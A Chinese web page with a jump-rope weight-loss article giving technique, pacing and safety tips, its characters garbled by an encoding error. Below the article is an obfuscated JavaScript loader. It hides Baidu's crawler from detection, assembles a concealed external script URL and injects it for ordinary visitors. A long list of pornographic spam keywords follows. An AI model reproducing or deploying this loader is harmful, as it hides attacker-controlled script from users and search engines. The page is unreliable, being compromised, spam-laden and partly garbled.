當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

有通過跳繩減肥的嗎

2017-04-16 22:34:57  來源:360常識網(wǎng)   熱度:
導(dǎo)語:面對肥胖問題,很多人都希望可以了解到科學(xué)的減肥方法,因為肥胖對一個人造成的影響是比較大的,尤其是過度肥胖的話,會影響到健康以及一個

面對肥胖問題,很多人都希望可以了解到科學(xué)的減肥方法,因為肥胖對一個人造成的影響是比較大的,尤其是過度肥胖的話,會影響到健康以及一個人的自信,所以說如果確實是肥胖的話肯定要注意科學(xué)地減肥了,下面我們要為大家介紹一下,用跳繩這個方法是否可以達(dá)到理想的減肥效果。

1.用前腳掌起跳和落地,切記不可用全腳或腳跟落地,以免腦部受到震動,當(dāng)躍起在空中時,不要過度彎曲身體,而成為自然彎曲的姿勢。跳時,呼吸要自然有節(jié)奏。

2.兩手分別握住繩兩端的把手,通常情況下以一腳踩住繩子中間,兩臂屈肘將小臂抬平,繩子被拉直即為適合的長度。

3.向前搖時,大臂靠近身體兩側(cè),肘稍外展,上臂近似水平,用手腕發(fā)力,使兩手在體側(cè)做畫圓動作。

4.要循序漸進(jìn)的練習(xí),跳繩的速度和時間長度應(yīng)根據(jù)個人情況來定。一開始每次運(yùn)動時間5-10分鐘即可,然后逐漸延長時間。

5.跳繩的時間,一般不受任何限制,但要避免引起身體不適,飯前和飯后半小時內(nèi)不要跳繩。并且跳繩前不可大量飲水。

6.跳繩運(yùn)動后不要立刻停止下來,應(yīng)繼續(xù)比較慢的速度跳繩或步行一段時間,讓血液循環(huán)恢復(fù)正常后,才可以停止下來。之后要記住做一些伸展、緩和的動作,才算是真正結(jié)束運(yùn)動。

Tips:

雖然跳繩是個不錯的健身方法,但要是不小心也很容易受傷,所以要注意以下事項:

1.跳繩時應(yīng)穿質(zhì)地軟、重量輕的高幫鞋,以避免腳踝受傷。

2.繩子軟硬、粗細(xì)適中。初學(xué)者通常宜用硬繩,熟練后可改為軟繩。

3.跳繩時需放松肌肉和關(guān)節(jié),腳尖和腳跟需用力協(xié)調(diào),以防止扭傷。

科學(xué)地使用跳繩,確實可以更好的幫助自己燃燒身體的脂肪,讓減肥變得更加輕松簡單,所以也希望面對肥胖問題的朋友,對這些減肥方法的使用都能夠更加的重視,要是方法對了,這樣子減肥也更加的輕松簡單一些了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品无码人妻无码| 亚洲国产精品综合一区在线| 国内精品九九久久久精品| 国产精品女同一区二区| 人妻精品久久久久中文字幕一冢本 | 中文字幕亚洲精品无码| 日韩精品中文字幕在线| 国产成人毛片亚洲精品| 亚洲级αV无码毛片久久精品| 久久亚洲欧美国产精品| 2022精品天堂在线视频| 免费精品国产日韩热久久| 亚洲国产高清精品线久久 | 亚洲国产精品一区二区九九| 亚洲精品二三区伊人久久| 国产精品扒开做爽爽爽的视频| 精品国产免费一区二区三区| 日产精品久久久一区二区| 亚洲精品美女久久久久99小说| 亚洲精品第一综合99久久| 熟妇无码乱子成人精品| 日本精品一二三区| 精品国产一二三产品价格| 国产精品国产三级国产AⅤ| 精品国产_亚洲人成在线高清| 亚洲精品无码专区在线| 精品一区二区三区免费毛片爱| 成人精品一区二区不卡视频| 9久久9久久精品| 国产精品香蕉在线一区| 国产精品高清2021在线| 精品国产理论在线观看不卡| 亚洲AV无码成人精品区在线观看| 孩交精品xxxx视频视频| 2017国产精品自拍| 久久精品免费一区二区三区| 久久夜色精品国产亚洲av| 精品国产三级在线观看| 久久乐国产综合亚洲精品| 91精品日韩人妻无码久久不卡| 99国产精品99久久久久久|